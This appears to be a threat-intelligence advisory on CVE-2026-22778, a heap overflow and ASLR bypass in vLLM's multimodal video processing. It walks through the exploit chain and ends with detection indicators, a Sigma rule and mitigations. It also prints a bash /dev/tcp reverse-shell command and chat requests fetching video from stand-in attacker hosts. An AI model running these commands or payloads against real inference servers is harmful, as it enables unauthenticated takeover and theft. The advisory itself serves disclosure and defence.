Skip to content

CVE-2026-22778: vLLM Multimodal Video URL Heap Overflow and ASLR Bypass RCE

HERMES

HERMES THREAT SCORE & MULTIMODAL INFERENCE RCE

Target: vLLM Inference Serving Cluster β€” Multimodal Video Input Processor
Confidence: 98%
97 / 100
EXTREME

Measures real-world operational relevance, exploit weaponization, and active threat posture.

Dimension Breakdown
Exploitability 20 / 20
Threat Activity 19 / 20
Weaponization 20 / 20
Exposure 19 / 20
Prevalence 19 / 20
Impact 20 / 20
Exploit Maturity 20 / 20
Attack Chain Potential 20 / 20
βš–οΈ Divergence & Operational Rationale

CVSS v3.1 rates CVE-2026-22778 as 9.8 Critical (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H), which aligns directly with Hermes Threat Score 97 (EXTREME). vLLM operates as the core high-performance serving infrastructure for frontier open-weights LLMs and Vision-Language Models (VLMs). Compromising a serving node grants immediate access to multi-million dollar model weights, fine-tuned adapter weights, GPU memory buffers, and upstream cloud/database API secrets stored in server environment variables.

HASS

HASS AGENTIC SEVERITY & PERCEPTION PIPELINE CORRUPTION

Target: Multimodal Tokenization Engine, Video Frame Decoders & Host Process Execution
Confidence: 96%
94 / 100
CRITICAL

Measures specific systemic risk arising from autonomy, tool authority, and cascading execution.

Dimension Breakdown
Autonomy 18 / 20
Tool Access 19 / 20
Privilege 19 / 15
Persistence 17 / 15
External Impact 19 / 15
Propagation 18 / 15
βš–οΈ Divergence & Operational Rationale

This vulnerability exemplifies the collapse of the perceptual input boundary in multimodal AI systems. When autonomous agentic architectures ingest external media streams (surveillance feeds, uploaded user video files, or web URLs) for multimodal reasoning, the media decoding layer acts as the physical-to-semantic gateway. Achieving native heap exploitation during frame decoding completely subverts the host runtime before safety guardrails or token filters can intervene.

πŸ•ΈοΈ Connected Knowledge Graph & Provenance

CVE-2026-22778: vLLM Multimodal Video URL Heap Overflow and ASLR Bypass RCEVULNERABILITY

Connected Nodes: 1
Active Relationships (Outgoing)
→ affectsPRODUCTvLLM Inference Engine
98% VERY_HIGH

Software platform affected by security vulnerabilities and agentic attack patterns.

πŸ” Why is this related? (Evidence & Provenance)

“Confirmed security vulnerability in vLLM Inference Engine documented in Hermes dossier.”

Supporting Verified Evidence:

In modern agentic and multimodal architectures, models process video streams by sampling discrete frames and encoding them into visual token embeddings. The vllm.multimodal subsystem exposes video input ingestion via OpenAI-compatible endpoints (/v1/chat/completions) accepting video_url blocks:

{
"model": "qwen-vl-max",
"messages": [
{
"role": "user",
"content": [
{ "type": "text", "text": "Describe this video:" },
{ "type": "video_url", "video_url": { "url": "https://attacker-domain.tld/payload.mp4" } }
]
}
]
}
ParameterTechnical DetailOperational Impact
CVE IdentifierCVE-2026-22778GitHub Advisory GHSA-4r2x-xpjr-7cvv
Vulnerability ClassHeap Buffer Overflow (CWE-122) & Heap Address Leak (CWE-209)Unauthenticated Remote Code Execution
Vulnerable Componentvllm.multimodal.inputs & OpenCV/FFmpeg frame extraction backendNative media decoding pipeline
Trigger VectorsUnauthenticated HTTP POST to /v1/chat/completions with crafted video_urlPublicly accessible model inference APIs
Authentication RequiredNone (PR:N) in standard exposed or proxy deploymentsRemote unauthenticated zero-click exploitation
ImpactFull host system takeover, GPU memory extraction, weight theftReverse shell as service account
Affected Versions>= 0.8.3, < 0.14.1Multimodal model configurations
Remediated ReleasevLLM 0.14.1Upstream GitHub release & PyPI package

The exploit chain operates across two distinct phases: an ASLR memory leak stage followed by an OpenCV/FFmpeg native heap corruption stage.

When vLLM processes multimodal image inputs, it attempts to validate and open images using PIL (PIL.Image.open). When presented with an invalid or truncated image stream, PIL raises an exception whose internal string representation contains unmasked heap addresses of internal C extension image structures (e.g., ImagingCore at 0x7f8a3c2041a0).

Instead of sanitizing the exception before propagating it to the API response, vLLM serialized the raw traceback into the HTTP 400 Bad Request error payload:

# Vulnerable error handling in vllm/entrypoints/openai/serving_chat.py
try:
image_data = load_image_from_url(url)
except Exception as e:
# FLAW: Leaks unmasked heap memory addresses directly to the client
return self.create_error_response(HTTPStatus.BAD_REQUEST, message=f"Failed to decode image: {str(e)}")

By querying this endpoint with crafted truncated byte sequences, attackers extract the base address of the heap and mapped dynamic libraries, rendering ASLR defenses completely ineffective.

Once the heap layout is mapped, the attacker supplies a video URL pointing to a container encapsulating a malformed JPEG2000 (OpenJPEG / libavcodec) video stream. During frame extraction:

  1. vLLM invokes cv2.VideoCapture or ffmpeg.input to demux the video into individual frame buffers.
  2. When parsing malformed tile header markers (SOT - Start of Tile) with an invalid tile length field, the decoder calculates an integer allocation size that undersizes the target heap chunk.
  3. Subsequent decompression writes uncompressed pixel data beyond the allocated buffer boundaries, corrupting adjacent heap chunks.
β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
β”‚ VULNERABLE HEAP STATE β”‚
β”œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”¬β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€
β”‚ Allocated JPEG2000 Frame Buffer β”‚ Adjacent FFmpeg AVBufferRef Struct β”‚
β”‚ [ 0x7f8a40001000 - 0x7f8a40001400 ] β”‚ [ 0x7f8a40001400 - 0x7f8a40001480 ] β”‚
β”‚ Attacker Payload (Shellcode + ROP) β”‚ -> data pointer β”‚
β”‚ === OVERFLOW WRITES PAST BOUNDARY ==>β”‚ -> free callback: [ 0x414141414141 ] β”‚
β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”΄β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜

The overflow precisely targets the AVBuffer structure immediately adjacent on the glibc heap. By overwriting the free function pointer with the address of system() (derived from Phase 1) and setting the data pointer to point to a command string like /bin/bash -c 'bash -i >& /dev/tcp/10.10.14.5/4444 0>&1', code execution is triggered the moment FFmpeg releases the frame buffer.


The full weaponization chain is executed without user interaction or valid API credentials:

  1. Reconnaissance & Memory Profiling: The attacker sends an HTTP POST request to /v1/chat/completions containing an image with a truncated header. The returned error response discloses a heap pointer.
  2. Address Calculation: Using the leaked pointer and target environment offsets (Ubuntu 24.04 glibc / standard Docker container image), the attacker computes the exact virtual addresses of system() and the shellcode buffer.
  3. Payload Staging: The attacker spins up an external HTTP server hosting exploit.mp4, crafted with a malformed JPEG2000 video track whose tile dimensions overwrite the heap chunk with the calculated pointers.
  4. Multimodal Invocation: The attacker issues a standard chat completion request with {"type": "video_url", "video_url": {"url": "http://attacker.com/exploit.mp4"}}.
  5. Frame Extraction & Memory Corruption: vLLM’s background worker fetches the video. The decoder executes the tile decompression, overflows the buffer, and overwrites the AVBuffer free pointer.
  6. Instruction Pointer Hijack: As av_buffer_unref() is called to clean up the parsed frame, control jumps to system(), spawning an interactive reverse shell under the vllm execution context.

Investigating CVE-2026-22778 involves scrutinizing application gateway logs, memory dumps, and process lineage on GPU inference hosts.

  • Inference Server Access Logs: Inspect NGINX, Envoy, or vLLM ingress logs for repeated 400 responses with payloads referencing Failed to decode image, followed immediately by a request containing an external video_url.
  • Worker Crash Indicators: In failed exploit attempts, the vLLM engine crashes with SIGSEGV or double free or corruption (out) logged in journalctl or Kubernetes pod logs:
    kernel: python3[184201]: segfault at 7f8a41414141 ip 00007f8a3d8b12f4 sp 00007ffe349a11e0 error 4 in libavcodec.so.58
  • Abnormal Child Processes: The vLLM server runs as a Python process (e.g., python3 -m vllm.entrypoints.openai.api_server). Under normal operation, vLLM never spawns shell binaries. Spawning /bin/sh, /bin/bash, curl, or wget is a deterministic indicator of compromise (IOC).
  • Network Sockets: Monitor for outbound TCP connections initiated by the Python process to non-cluster external IPs, especially over non-standard ports (e.g., 4444, 1337).

title: Suspicious Shell Spawned by vLLM Inference Process
id: b47e9231-591a-4d2c-8067-1a8c9e422778
status: experimental
description: Detects interactive shells or system network utilities spawned by a vLLM LLM serving process, indicative of CVE-2026-22778 exploitation.
logsource:
category: process_creation
product: linux
detection:
selection_parent:
ParentCommandLine|contains:
- 'vllm.entrypoints'
- 'vllm.entrypoints.openai.api_server'
selection_child:
Image|endswith:
- '/bin/sh'
- '/bin/bash'
- '/bin/dash'
- '/usr/bin/curl'
- '/usr/bin/wget'
- '/usr/bin/python3'
- '/usr/bin/nc'
condition: selection_parent and selection_child
level: critical
tags:
- attack.execution
- attack.t1059.004
- cve.2026-22778

  1. Upgrade vLLM: Deploy vLLM 0.14.1 or later immediately. This patch implements strict exception sanitization across all multimodal endpoints and incorporates hardened media decoding bindings.
  2. Disable Video Processing (Workaround): If an immediate upgrade is not feasible, restrict multimodal inputs by passing --limit-mm-per-prompt image=0,video=0 to the vLLM startup flags to disable remote video frame extraction.
  • Network Egress Filtering: Prevent serving nodes from initiating outbound connections to arbitrary internet addresses. Use egress network policies (e.g., Kubernetes NetworkPolicy or Cilium) allowing egress solely to internal model registries (e.g., Hugging Face cache proxy or internal S3 buckets).
  • Container Sandboxing: Execute the vLLM container with a read-only root filesystem (readOnlyRootFilesystem: true), drop all Linux capabilities (capDrop: ["ALL"]), and run with allowPrivilegeEscalation: false.
  • Egress Proxying for Media: If external media fetching is required, route all URL downloads through a dedicated, isolated sanitization proxy that re-encodes video into a standardized MP4/H.264 format before passing it to vLLM.